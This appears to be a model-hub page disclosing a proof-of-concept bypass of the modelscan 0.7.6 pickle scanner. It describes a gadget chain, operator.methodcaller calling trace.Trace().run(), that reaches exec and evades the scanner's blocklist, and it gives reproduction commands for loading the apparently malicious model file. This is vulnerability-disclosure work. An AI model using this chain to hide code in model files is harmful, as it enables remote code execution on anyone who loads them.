Modelscan Bypass PoC β trace.Trace().run()
Vulnerability
Modelscan 0.7.6 fails to detect malicious pickle files that use trace.Trace().run() for arbitrary code execution.
The trace module is not in modelscan's unsafe_globals blocklist. trace.Trace().run(stmt) internally calls exec(compile(stmt)), enabling full RCE.
Chain
operator.methodcaller('run', '<malicious_code>')β not blocked (onlyattrgetteris blocked)trace.Trace()β not blockedmethodcaller(trace_instance)β callstrace_instance.run(stmt)βexec(compile(stmt))
Reproduction
modelscan scan -p pytorch_model.bin
# Result: "No issues found"
python3 -c "import pickle; pickle.loads(open('pytorch_model.bin','rb').read())"
# Result: Arbitrary code execution
Impact
Full RCE on any system that loads this model file via torch.load() or pickle.loads().
Modelscan Version
0.7.6 (latest as of 2026-04-05)
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support